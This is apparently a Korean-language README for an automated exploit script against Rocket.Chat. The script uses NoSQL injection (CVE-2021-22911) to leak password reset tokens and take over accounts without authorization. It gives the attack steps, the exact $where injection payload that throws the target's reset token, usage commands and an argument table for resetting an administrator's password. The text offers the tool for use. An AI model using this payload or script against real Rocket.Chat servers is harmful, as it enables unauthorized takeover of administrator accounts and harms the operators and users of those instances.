
Rocket.Chat NoSQL 인젝션(CVE-2021-22911)을 악용하여 비밀번호 재설정 토큰을 유출하고 인증 없이 계정 탈취를 수행하는 자동화 익스플로잇입니다.
Rocket.Chat(및 Meteor 기반 애플리케이션)을 위한 자동화된 익스플로잇 스크립트로, $where 절을 이용한 NoSQL 인젝션을 통해 서버 측 예외를 발생시켜 비밀번호 재설정 토큰을 유출합니다. 토큰이 유출되면 스크립트는 인증되지 않은 비밀번호 재설정을 수행합니다.
인증: 스크립트는 일반 사용자로 인증하여 /api/v1/users.list 엔드포인트에 접근합니다.
NoSQL 인젝션: query 파라미터를 사용하여 $where JavaScript 절을 주입합니다.
데이터 유출: 인젝션 내에서 throw 문을 사용하여 서버가 대상 사용자의 비밀번호 재설정 토큰을 포함한 "잡히지 않은 예외" 오류를 반환하도록 강제합니다.
계정 탈취: 스크립트는 유출된 토큰을 사용하여 resetPassword를 호출하고 대상 계정의 비밀번호를 변경합니다.
Python 3.x
requests 라이브러리
Bash
pip install requests
Bash
python3 exploit.py --url http://<TARGET_IP>:3000\
-u <YOUR_USER>\
-p <YOUR_PASS>\
-a <TARGET_ADMIN_USER>\
-ap <NEW_ADMIN_PASSWORD>
익스플로잇의 핵심은 다음 인젝션 문자열입니다:
JavaScript
{"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}
서버에서 처리될 때 데이터베이스 엔진이 익명 함수를 실행하고 throw에서 충돌이 발생하며, 애플리케이션이 예외를 포착하여 의도치 않게 JSON 오류 응답에 비밀 토큰을 사용자에게 다시 전달합니다.
| 인자 | 긴 플래그 | 설명 |
|---|
-u | --user | 초기 인증을 위한 유효한 사용자 이름 또는 이메일. |
-p | --password | 유효한 비밀번호. |
-a | --admin | 재설정하려는 계정의 사용자 이름. |
-ap | --admin-pass | 관리자 계정에 설정할 새 비밀번호. |
--url | Rocket.Chat 인스턴스의 기본 URL. |